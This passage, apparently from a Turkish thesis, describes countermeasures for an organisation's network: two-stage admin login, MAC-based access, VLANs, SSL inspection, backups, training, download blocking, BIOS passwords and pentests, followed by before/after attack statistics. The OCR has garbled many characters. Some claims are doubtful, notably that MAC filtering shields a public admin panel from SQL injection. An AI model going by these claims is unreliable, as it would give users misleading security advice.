genellikle SSL kullanimu tercih edilmektedir. SSL/TLS, uygulama katman ile tasima
katmani arasinda yer alir ve bilginin sifreleme gibi gerekli olan kriptografik
islemlerden gectikten sonra kars1 tarafa iletilmesini saglar. SSL’in asagidaki stiriimleri

mevcuttur (Owasp, 2016).

Sekil 3.25 : Ornek https baglantis
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4. ZAFIYET, TEHDIT VE SALDIRILARA YONELIK YENI KARSI
ONLEMLER VE UYGULANMASI

4.1 Kurum Website Giivenligi i¢cin Iki Asamah Dogrulama ve MAC Bazh Erisim
Yontemi

Websitelerine ait bir¢ok gilivenlik zafiyeti mevcuttur. SQL injection yapilarak veya
website yonetim paneline erisim saglanip zayif ve tahmin edilebilen parolalar ile
sisteme sizmalar olabilir. Bu sorunlar i¢in iki asamali dogrulama kullanmak bu

zafiyetleri gidermek i¢in 6nemli bir ¢oziimdyiir.

Iki asamali dogrulama da ilk asama admin paneline erismeden 6nce de bir kullanici
adi1 ve sifre girilmesidir. Sadece bu kullanici ad1 ve sifreyi dogru girebilecek kisiler
admin panelindeki kullanici ve sifre girme kismina erisebilir. Buraya erisebilen kisiler
de kendileri i¢cin daha once belirlenmis kullanic1 adi ve sifreleri ile sisteme giris

yapabileceklerdir.

Dolayist ile tigiincii sahiglar website yonetim paneline ulasip orada SQL injection
yapamayacaklardir. Clink{i website yonetim paneline erismeden onceki ilk kisimdaki

kullanic1 adi ve sifreyi bilmeleri gerekecektir.

Oturum agin

Kullanici adi

Sifre

Sekil 4.1 : ik kisimdaki dogrulama
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Sekil 4.1 de ilk dogrulama kismi gosterilmistir. ilk dogrulama kisminda belirli bir

kullanic1 ad1 ve sifre kism1 mevcuttur. Burada bir glivenlik adimi1 vardir.

Bu kisimda higcbir sekilde sunucuya baglant1 saglanmamistir. Bu yiizden olas1 bir
saldir1 sunucu tizerinden gergekleseceginden sunucuya ulagmak i¢in buradaki kullanici

ad1 ve sifreyi bilmek gerekecektir.

Saldirganin bu kullanici ad1 ve sifreyi bilmesi ve ardindan Sekil 4.2 deki sunucu
tizerindeki yonetim paneline ulasip orada da ayrica bir kullanict adi ve sifre bilmesi

gerekecektir. Boylece iki asamali dogrulama ile giivenlik arttirilmistir.

Sekil 4.2 : Ikinci kisimdaki dogrulama (yonetim paneli giris ekrani)

Ayrica bu yontemle birlikte MAC bazli erisim yonteminin de kullanilmasiyla giivenlik
daha da artacaktir. Iki asamali dogrulama kurum websitesinde uygulanmis MAC bazli
erisim yonteminin de uygulanmasi planlanmaktadir. MAC yani media acess control,
kisaca ag kartimizin kimligidir. Bilgisayarlarin aga ve internete baglanmalart i¢in
gerekli olan kartlar olan ag kartlarinda, numaralar mevcuttur. Bu numaralar her ag
kartinda farklidir. Website yonetim paneline ulasabilecek belirli bilgisayarlar MAC
adresi ile sisteme tanimlanirlar. Boylece sadece MAC adresi tanimli olan bilgisayarlar

website yonetim paneline erisebilecektir.
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Boylece MAC adresi tanimli olmayan saldirganlar SQL injection saldiris1 yapsalar bile
website yonetim paneline erisemeyeceklerdir. Bu yeni karsi 6nlemler ile SQL injection

saldirilarina, kaba kuvvet saldirilarina ve zayif parola zafiyetlerine 6nlemler alinmstir.
4.2 Viriislerin Yayilmasini Onlemek ve Birimler Aras1 Giivenlik i¢in VLAN
Izolasyonu

VLAN (Virtual LAN), sanal yerel alan ag1 olup, yerel ag1 anahtarlarla bolmektir.
Kurumsal agda hem yapilanmay1 hemde diizeni saglamak agisindan VLAN izolasyonu

yapmak onemlidir.

VLAN izalasyonu ile dort blokluk IP deki iiclincii blok birimlerin sabit numaralari

olur. Ornegin;

192.168.0.12 nolu IP de ilk blok ve ikinci blok sabit olurken, ti¢iincii bloktaki 0 rakami1

bir midirligl veya birimi temsil eder.

Ornegin teftis birimini temsil eder. Yani teftis birimindeki tiim bilgisayarlarm IPlerinin

ticiincii blogu 0 rakami olur. Dordiincii blokta her bilgisayarda farkli bir rakam olur.

192.168.0. 3
192. 168. 1. 60
192. 168. 2. 16

R 2NE A

Sabit Kisim  Sabit Kissm Birime Ait  poxican ip
ip Blogu

Blogu

Sekil 4.3 : Vlan izolasyonu ip blogu yapisi

Yukaridaki Sekil 4.3 de de gosterildigi gibi bir diger 6rnek olarak 192.168.2.16 ipsini
ele alalim. Zaten ilk iki bloktaki 192 ve 168 rakamlar: sabittir. Uciincii bloktaki 2

rakami herhangi bir birimi ya da mudiirligii temsil eder. O birimin arsiv oldugunu
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varsayalim. Sondaki 16 rakaminin oldugu blok arsiv birimindeki her bilgisayarda

degiskenlik gosterir.

192.168/5.6
192.168/5.23

Sekil 4.4 : Ayni birimdeki IP blogu

Yukarida Sekil 4.4 de ayni birime ait iki farkli bilgisayarin IPleri gosterilmistir. 3.
bloktaki 5 rakami birimi temsil ettiginden iki IPde de 3. blok ayni rakam oldugundan
bu IPlere sahip iki bilgisayarda ayni birimde bulunan bilgisayarlardir. Ayni birimde
bulunan bilgisayarlar birbirleri arasinda dosya, yazici, tarayici paylasimi yapabilirler.
Fakat farkli birimlerdeki bilgisayarlar VLAN izolasyonu sayesinde bir baska
birimdeki dosya, yazici ve tarayicilara erisemeyeceklerdir. Bu da birimler arasindaki

giivenligi ve kaynak kullaniminin yonetilebilmesini saglar.

Viriislerin tiim aga bulasmasini engellemek i¢in de onemli bir yontemdir. Ciinkii
VLAN izolasyonu sayesinde kurumdaki her birimin IP araligi farkli olacagindan eger
bir kullanicinin bilgisayarina viriis bulasirsa, viriis en fazla o birimdeki kullanicilarin

bilgisayarlarina yayilir. Bdylece viriis tiim aga yayilmamais olur.

4.3 Kurumun Kendi SSL Sertifikasinin Kullanilmasi

Daha oOnceleri HTTPS baglantilar1 genelde e-ticaret ve o6deme islemleri igin
kullaniliyordu. Giiniimiizde ¢gogu web sitesi sayfa 6zgiinliiklerini korumak ve gizliligi

saglamak amaciyla https baglantilarin1 kullanmaktadir.

Artik websiteleri HTTPS baglantilarin1 tercih etmektedir. Bunun en Onemli
etmenlerinden biri de aramalarda Google’in HTTPS sayfalarina daha iist siralarda yer

vermesi.
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- Sertifika El|

Genel | ayrintlar | Sertifika Yolu

ﬁ Sertifika Bilgisi

Bu sertifika, asagidaki amaclarla verilmektedir:

* Uzak bir bilgisayarin kimligini elde eder
« Kimliginizi uzak bilgisayara kanitlar

Yerilen: x

Yeren:

Gegerlilik 1.1.2018 - 25.4.2019

Verenin Aciklamasi

’ Tamam |

Sekil 4.5 : Kurumun SSL sertifikasi

Kurumsal aglarda kullanicilarin girdigi http baglantili olan websitelerinin igerigi ve
kategorileri  gortintiilenmektedir. Risk olusturan HTTP  baglantili  belirli
kategorilerdeki ve igeriklerdeki websiteleri giivenlik duvart tarafindan
engellenebilmektedir. Fakat https baglantisin1 kullanan websitelerinin igerigi ve

kategorisi goriintiilenememektedir.

Kurumsal agdaki bir kullanicinin hangi websitesine girdigi ve hangi kategorilerdeki
websitelerine girdigi goriintiilenememektedir. Bu da zafiyete ve tehditlere neden olup
risk teskil etmektedir. Bunun 6niine ge¢mek icin kurumun kendi SSL sertifikasini
kullanmasit dogru olacaktir. Boylece kurum agindaki kullanicilarin girdikleri HTTPS
baglantili websitelerinin igerigi goriintiilenebilecek ve risk olusturan websiteleri

engellenebilecektir.

Bu sayede tehdit olusturabilecek ve kurum giivenligi icin tehlike arz edebilecek
websitelerine erisim engellenerek SSL den kaynakli olusabilecek zafiyetler ve SSL

tizerinden ortadaki adam saldirilart minimuma indirilecektir.
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4.4 Veri Kayiplarima Karsi ve Afetlere Yonelik Felaket Kurtarma Coziimii

Kesintisiz hizmet hem kamu kurumlar i¢in hem de 6zel sektor i¢in ¢ok 6nemli bir

unsurdur. Hizmetin kesilmesi kurumlar agisindan 6nemli bir sorundur.

Aga kars1 herhangi bir saldirinin olmasi1 durumunda veriler kaybolabilir veya sifrelenip

kullanilamaz hale gelebilir. Bu kurum i¢in biiylik 6neme sahip bir konudur.

Ayrica giiniimiizde oldukc¢a yayginlasan fidye viriisleri sistemdeki dosyalar sifreleyip
acilamaz hale getirdiginden siirekli yedek almak en 6nemli ¢6ziimdiir. Bundan dolay1
felaket kurtarma ¢oziimlerinde siirekli ana sistemin yedegi alindigindan bu yontem
fidye virtislerine kars1 bir ¢6ziim olacaktir. Giinde iki kez ana sistemin yedegini felaket

kurtarma ¢6ziimiine aktarmak faydali olacaktir.

Firma Idare Binast Felaket Kurtarma Merkezi
BUtGn verilerin i ﬂl
tutuldudu ‘ 2.Felketam .
{ Internet Baglanty
ana sunucu
Kesintisi )

1. Felaket ant
(Yangin)

Sekil 4.6 : Ormek bir felaket kurtarma (disaster) yapisi

Ana sistemde bir afet durumu mesela ana sistemin bulundugu yerde sel ya da yamgin
olmasi ile cihazlar kullanilamaz hale gelebilir. Boyle bir durumda sistemin
kullaniminin kaldig1 yerden devam etmesi gerekir. Sistemin devam etmesi de felaket

kurtarma ¢6ziimii ile miimkiindiir.

Felaket kurtarma sistemine siirekli ana sistemin yedekleri aktarildigindan bilgiler
kaybolmamis olacak ve herhangi bir sorun yasanmamis olacaktir. Sistem de hizmet

sunmaya devam edebilecektir.
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4.5 Kurumdaki Kullanicilarin Bilin¢lendirilmesi

Insan kaynakli zafiyetler kurumsal ag giivenligini tehdit eden en oOnemli
unsurlardandir. Sistem ne kadar giivenli olursa olsun insan faktorii sistem gilivenligini
tehlikeye atabilir. Bu yiizden kurum agindaki kullanicilarin bilinglendirilmesi ¢ok

onemlidir.

Kullanicilar bilingli olursa hatali davraniglarda bulunmazlar. Béylece tehdit ve riskler
azalacatir. Kullanicilar kurum agini tehlikeye sokacak bircok hatali davranis

sergileyebilmektedir. Bu davranislara 6rnek olarak;
- Sifrelerin li¢lincii sahislar ile paylasilmasi,

- Spam ya da tehdit unsuru olusturabilecek e-postalarin ve e-posta ekindeki
dosyalarin agilmasi

- Sahte websitelerine kullanici bilgilerinin girilmesi
- Kaynag bilinmeyen programlarin yiiklenmesi

Gilintimiizde her gegen giin yeni bir saldir1 yontemi ortaya ¢ikmaktadir. Bundan dolay1
kurumdaki kullanicilara siklikla bu yeni yontemler hakkinda bilgi vermek,
kullanicilar siirekli bilinglendirmek gerekir.Boylece saldirganlarin yeni yontemlerini
bilen kullanicilar buna gore hareket edecekler ve tuzaklara diismemis olacaklardir. Bu
da kurum ag giivenligini saglamada 6nemli bir konudur. Boylece viriis saldirilarina ve
oltalama saldirilarina kars1 6nlem alinmis olacaktir. Kurumdaki kullanicilar siklikla
bilinglendirilmis, bilinglendirme yapilmadan Once yasanilan oltalama saldirilar

yasanmamistir. Boylece karsi 6nlem basarili olmustur.

4.6 Kullamia1 Yetki Kisitlamalar: ve Bios Sifresi

Giivenligin en 6nemli ilkelerinden biri en az yetki ve izin verilmedigi siirece istenilen
yere erigilememesi kuralidir. Bundan dolayr kullanici yetki kisitlamalart yapmak

oldukc¢a onemlidir.

Kullanicilarin - zararli websitelerine erisimi engellenmelidir. Bodylece oltalama

saldirilarina kars1 6nlem alinmis olacaktir.

Kullanicilarin exe dosyalarini indirmesi engellenmelidir. Ayrica kullanicilarin

program kurma yetkilerinin de olmamasi gerekir.
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Web Page Blocked

Access to the web page you were trying to visit has been blocked in accordance with company policy. Please contact your system administrator if you believe this is in error,
User:

LRL:

Category: web-based-email

Sekil 4.7 : Website giris engelleme

Sekil 4.7 da gosterildigi gibi bazi websiteleri engellenmelidir. Bu websiteleri

engellenerek websiteler lizerinden gelen ataklar da engellenmis olacaktir.

Bu konuda zararli olabilecek websiteleri engellenmelidir. Fakat insan zafiyetlerini en
aza indirmek i¢in web tabanli yani tarayici iizerinden erisilebilen mail sayfalarini da

engellemek gerekir.

Web Page Blocked

Access to the web page you were trying to visit has been blocked in accordance with company policy. Please contact your system administrator if you believe this is in error.
User:

LRL: www, e

Category: unknown

Sekil 4.8 : Exe indirme engellleme

Sekil 4.8 de goriildiigii gibi kullanici exe uzantili bir dosya indermeye ¢alistiginda
engellenmesi gerekir. Ciinkii ¢ogu zararli yazilimlar exe uzantili dosya tiirlinii

kullanilar.

Kullanicilarin zararl yazilimlar indirip tiim ag1 tehlike atmalarini engellemek i¢n .exe

uzantili dosyalarmin indirilmesinin engellenmesi gerekir.

Kurumdaki bilgisayarlarda bios sifresi de olmasi gerekir. Ciinkii kullanicilar ya da kétii
niyetli kisiler bios dan bagka isletim sistemi ile bilgisayar1 agabilir. Boylece eski ve
giincellestirme almamais isletim sistemleri agilmig olur. Bu da saldirganlar i¢in tam

istenilen bir durumdur.
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Ciinkii saldirganlar en c¢ok gilincel olmayan isletim sistemlerinden sisteme

sizabilmektedirler.

Ama Sekil 4.9 da gosterildigi gibi biosta sifre olursa bu durum 6nlenmis olur. Boylece

zafiyet ortadan kalkar.

Standard CMOS Features ¥ Frequency/Voltage Control
Advanced BIOS Features Load Fail-Safe Defaults

Advanced Chipset Features Load Dptimized Defauits

Integrated Peripherals Set Supervisor Password

Power Management Setup Set User Password

PaP/PCl Conf igurati t Setup
Enter Password:
PC Health Status

ut Seving

Sekil 4.9 : BIOS sifre ekrani

4.7 Siirekli Giincellestirmeler Yapmak

Kurumsal agda sistem gilivenligini saglamanin en Onemli yontemlerinin basinda

sistemi stirekli giincel tutmak gelmektedir.

Gilintimiizde fidye tiirii viriisler isletim sistemindeki agiklardan faydalanmaktadir. Bu
yiizden isletim sistemlerini siirekli gilincel tutmak basta gilintimiizde oldukga
yayginlagsan fidye tiirii virilisler olmak tizere diger viriisler ve zararli yazilimlarin

sistemi etkilemesini 6nlemek i¢in 6nemi bir ¢6ziim yontemi olacaktir.
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& Windows Update - 0 IE2

(—1 v N @ » Denetim Masasi » Tiim Denetim Masasi Oéeleri b Windows Update v ¢ Denetim Masasinda Ara P
0
Denetim Masasi Giri .
. Windows Update
Gincellegtirmeleri denetle
Ayarlan degigtir ) ) ) ) .
5 : s —— GUncellestirmeleri otomatik olarak denetlemeyi sectiniz
Guncellegtirme gegmigini | N
gorintile A—'ﬁ_}f Hig gincellestirme yok.

Gizli glincellegtirmeleri geri
yikle Giincellegtirmelerin en son denetlenme zamani:  Diin 5u saatte: 13:17
Guncellegtirmelerin en son yiiklenme zaman: ~ 29.6.2016 - 09:25.
Su guncellestirmeleri aliyorsunuz: Sistem yoneticiniz tarafindan yonetilenler
Guncellegtirmeleri Microsoft Update kaynagindan
evrimigi olarak denetle

Sekil 4.10 : Windows giincellestirme ekrani

Sekil 4.10 da gosterildigi gibi bilgisayarlarin  giincellestirmelerin  en  son

giincellestirmeyi aldigina emin olmak gerekir.

Giincellestirmeler genelde sistem iizerinden biitiin bilgisayarlara yiiklenir. Fakat
sistem {lizerinden giincellestirme alamayan bilgisayarlar olabilir. Bunun i¢in o
bilgisayarlar tespit edilip gerekirse kullanici bilgisayar1 iizerinden giincellestirmeler

yapilmalidir.

4.8 VPN Baglantisi icin Ozel izin Ahnmasi

Kurumsal aga ana sisteme bagli olmayan dis birimlerden ya da kisisel baglantilarin
olmasi gerektiginde sanal 6zel ag olan vpn kullanilmasi gerekir. Ciinkii kullanilmas1
gereken bazi program ve dosyalar sadece ana sistemde mevcuttur ve ana sistemdeki

bu kaynaklara ulagmak i¢in sanal 6zel ag yani vpn baglantis1 gerekir.

VPN baglantist i¢in de kisilerin ana sistemdeki sistem yonetim biriminden 6zel izin
almas1 gerekir. VPN yetkisi verilirken dikkat edilmesi gerekir. Clinkii sanal 6zel ag

olan VPN ile kurumun i¢ agindaki kaynaklara ulasilabilir.

Bundan dolay1 VPN bilgileri nem arz etmektedir. Dolayisiyla istekte bulunan kisilere
VPN bilgileri verilirken isteyen kisi bilgileri ve VPN bilgilerinin oldugu bir form

doldurulmasi ve imzalanmasi gerekir.
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Verilen Sekil 4.11 deki VPN bilgileri de kaydedilmelidir.

Home IDetails ] Host State I Troubleshooting

Partal: ||

Username: I

Password: ]

Connect

Status: Not Connected

~Warnings/Errors

Sekil 4.11 : VPN baglant1 ekrani

4.9 Sizma Testleri (Pentest) Yaptirmak

Si1zma testleri sistem veya sistemleri ele gecirmek i¢in yapilan testlerden olusur. Sizma
testleri bir ag sistemindeki zafiyetleri ortaya ¢ikarmak i¢in yapilan testlerdir. Eger
sisteme s1zilabilme durumu s6z konusu ise, sizmanin hangi agiklardan kaynakli oldugu

ortaya ¢ikmis olur.

Sistemde ortaya ¢ikan zafiyetler tespit edilip bu zafiyetlere kars1 onlemler alinabilir.
Boylece alinan onlemler ile kurum ag1 daha giivenli hale gelmis olur. Yilda iki kez
sizma testi yaptirmak kurum ag giivenligi i¢in 6nemli bir ayrintidir. Sizma testinden

elde edilen rapor incelenmelidir.
Penetration yani sizma testi ¢esitleri sunlardir;

Ic Ag Sizma Testi: Bu test ¢esidinde kurumun i¢ aginda hangi sistemlere ya da hangi

verilere erisilebilecegi konusu ele alinir.

Dis Ag Sizma Testi: Dis ag sizma testinde kurumun disariya agik olan sistemleri

tizerinden hangi sistemlere veya verilere erigilebilecegi konusu ele alinir.
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Web Uygulama Sizma Testi: Bu yontemde odak nokta web uygulamalaridir.

Siyah Kutu
Yontemi

Gri Kutu

Beyaz Kutu
Yontemi

Yontemi

ol

Sizma Testi
(Pentest)

N P

Sekil 4.12 : Si1zma testleri yontemleri

Sekil 4.12 de sizma testleri yontemleri gosterilmistir. Sizma testlerinde {i¢ yontem

kullanilmaktadir bunlar asagida detayl olarak agiklanmistir.
Sizma testleri konusunda genel olarak kabul gérmiis {i¢ yontem sunlardir;

Siyah Kutu: Bu yontemde ilk basta sizma testi yapilacak sistemle ilgili herhangi bir
bilgi yoktur. Bu yaklasimda testi yapacak kisi veya kisilerin sistem ile ilgili hi¢ bir
bilgiye sahip olunmadigindan dolay1 yanliglikla sisteme zarar verme olasiliklar
fazladir. Sistem hakkinda hi¢ bilgiye sahip olunmadigindan, bilgi toplama asamasi

uzun stirer. Bu yiizden siire bakimindan en uzun siiren yontemdir.

Gri Kutu: Bu yontemde sistem ile ilgili bilgiler bulunmaktadir. Ornegin; sunucularin
versiyon bilgileri gibi bilgiler testi yapacak kisi veya kisiler tarafindan 6nceden bilinir.
Black box yoOntemine gore daha az zaman alir. Sizma testi yapilan sistemdeki ip

adresleri de bilindiginden sistemin yanliglikla zarar gorme olasilig1 da azalmis olur.

Beyaz Kutu: Bu yontemde sistemin kendisi ve arka plandaki teknolojiler hakkinda
hersey bilinir. Siyah kutu yontemine gore kuruma daha fazla yarar saglar. Sistemin
zarar gdrme olasilig1 ¢cok azdir. Zafiyetleri bulmak kolaylasacaktir. Bu zafiyetlere gore

de Onlemler alinabilir.
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Birgok sizma testi ¢esidi mevcuttur. Kuruma uygun olan sizma testi secilmeli ve
yapilmalidir. Sizma testi sonucu ile elde edilen rapor incelenmeli, bu rapordaki

eksikliklere veya zafiyetlere yonetlik belirli bir planlama yapilmalidir.
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5. SONUC VE ONERILER

Bu calismanin konusunu, kurumsal aglarda en ¢ok karsilasilan gilivenlik sorunlari,
giivenlik sorunlarinin nedenleri, giivenlik sorunlarina neden olan zafiyetler, tehditler

ve saldirilarin incelenmesi olusturmustur.

Bu calismada kurumsal aga yonelik zafiyetler, tehditler ve saldirilar incelenmis, bu
zafiyetler, tehditler ve saldirilarilara yonelik yeni karsi onlemler kurumsal agda

uygulanarak kurumsal ag daha giivenli hale getirilmistir.

Kars1 6nlemler kurumsal agda uygulanarak basarili sonuglar elde edilmistir. Bunlara

ornek olarak;

Iki asamal1 dogrulamanin uygulanmasi sonucu olusan basarili sonuglar asagida Sekil

5.1 - Sekil 5.4 de gosterilmistir.

i.|.<i Asamali Dogrulama Yapiimadan
Onceki Sql Injection Saldirt Sayisi(246)

12.06.2018

Sekil 5.1 iki asamal1 dogrulama yapilmadan énceki SQL injection saldirt durumu
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ki Asamali Dogrulama Yapildiktan
Sonraki Sl Injection Saldiri Sayisi(8)

27.09.2018

Sekil 5.2 Iki asamali dogrulama yapildiktan sonraki SQL injection saldir1 durumu

i.|.<i Asamali Dogrulama Yapilmadan
Onceki Kaba Kuvvet Saldiri Sayisi(1713)

Thread Name Threat Type Count

Database User Authentication Brute Force Attempt  brute-force 1.1k

User Password Brute Force Attempt brute-force 613
12.06.2018

Sekil 5.3 iki asamal1 dogrulama yapilmadan 6nceki kaba kuvvet saldir1 durumu

ki Asamali Dogrulama Yapildiktan
Sonraki Kaba Kuvvet Saldiri Sayisi(1265)

Thread Name Threat Type Count

Database User Authentication Brute Force Attempt  brute-force 739

User Password Brute Force Attempt brute-force 526
27.09.2018

Yaklasik %30 civarinda azalma olmustur.

Sekil 5.4 iki asamal1 dogrulama yapildiktan sonraki kaba kuvvet saldir1 durumu
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Kurumun kendi SSL sertifikasini kullanmasindan sonraki SSL saldirilarindaki

azalmalar Sekil 5.5 ve Sekil 5.6 da gosterilmistir.

Kurumun Kendi SSL Sertifikasini
Kullanmadan Onceki Saldirn Sayisi(246)

Thread Name Threat Type Count
HTTPS SSL Attempt man inthe middle 246

09.10.2018

Sekil 5.5 Kurumun kendi SSL sertifikasini kullanmadan 6nceki SSL saldir1 durumu

Kurumun Kendi SSL Sertifikasini
Kullandiktan Sonraki Saldir Sayisi(121)

Thread Name Threat Type Count
HTTPS SSL Attempt man in the middle 121

15.11.2018

Yaklagik %50 civarinda azalma olmustur.

Sekil 5.6 Kurumun kendi SSL sertifikasin1 kullanmasindan sonraki SSL saldir1
durumu

Kurumdaki kullanicilarin bilinglendirilmeden &nce ve bilinglendirildikten sonra

olusan sonuclar Sekil 5.7 ve Sekil 5.8 de gosterilmistir.
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Kullanicilarin Bilinclendirilmeden Onceki
Viras Saldiri Sayisi(251)

Thread Name Threat Type Count

CryptoLocker virus 79

Virls/Win32.WGeneric.nllia virus 54

JS/Trojan-Downloader.gumblar.cdw virus 118
26.04.2018

Sekil 5.7 Kullanicilarin bilinglendirilmeden onceki viriis saldirt durumu

Kullanicilarin Bilinclendirildikten Sonraki
Virts Saldiri Sayisi(107)

Thread Name Threat Type Count

CryptoLocker virus 23

Viriis/Win32.WGeneric.nllia virus 18

JS/Trojan-Downloader.gumblar.cdw virus 66
22.05.2018

Yaklagik %50 civarinda azalma olmustur.

Sekil 5.8 Kullanicilarin bilinglendirildikten sonraki viriis saldirt durumu

Ayrica kurumsal agdaki kullanicilara kurumsal ag gilivenligi hakkinda egitimler
verilerek kullanicilarin bilinglenmesi saglanmis, olasi1 ag saldirilarina kars1 da ekstra

bir 6nlem alinmustir.

Giinlimiizde internet ve ag teknolojileri oldukga fazlalastigindan giivenlik sorunlari da
artmistir. Ayrica yeni giivenlik sorunlar1 da ortaya ¢ikmistir. Dolayisiyla kurumlar da
giivenliklerini saglamak i¢in bu ortaya ¢ikan yeni giivenlik sorunlarina 6nlem almalari
gerekecektir. Tam bu asama da bu calisma ortaya ¢ikan giivenlik sorunlarina yeni karsi

onlemler alinmasi agisindan kurum giivenligini saglamada faydali olacaktir.

Bu caligsma, 6zellikle Tiirkge literatiire saglayacagi katki bakimindan 6nemli sonuglara
sahiptir. Bu ¢alismada belirtilen kurumsal aglardaki sorunlara kars1 yeni kars1 onlemler
sayesinde kurumsal aglardaki yeni zafiyet, tehdit ve saldirilara yonelik onlemler

alinabilecektir. Kurumsal aglardaki sorunlara kars1 ve kurum giivenligini saglamak
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icin uygulanan yeni karsi onlemler kurumsal aglardaki giivenlik sorunlarinin yeni
yontemler ile ¢oziilmesi agisindan yararl olacak ve kaynak olusturacaktir. Boylece
kurum ag giivenlik diizeyi artacak, saldirilar ve zafiyetler 6nlenecek, kurumun zarar

gérmesi ve itibar kaybetmesinin oniine gecilecektir.

Kurumsal ag giivenliginde zafiyetlerin nedenleri tespit edilmeli ve o zafiyetlerin
nedenlerine gore dnlem alinmalidir. Ornegin giincellestirme eksikliklerinden kaynakli
nedenler i¢in gilincellestirme politikalar1 gézden gecirilmeli ve glincellestirme
zafiyetleri ile tek tek miicadele etmek yerine altyapidaki biitiin gilincellestirmeler

kontrol edilmelidir. Boylece zafiyet genel olarak ortadan kaldirilacaktir.
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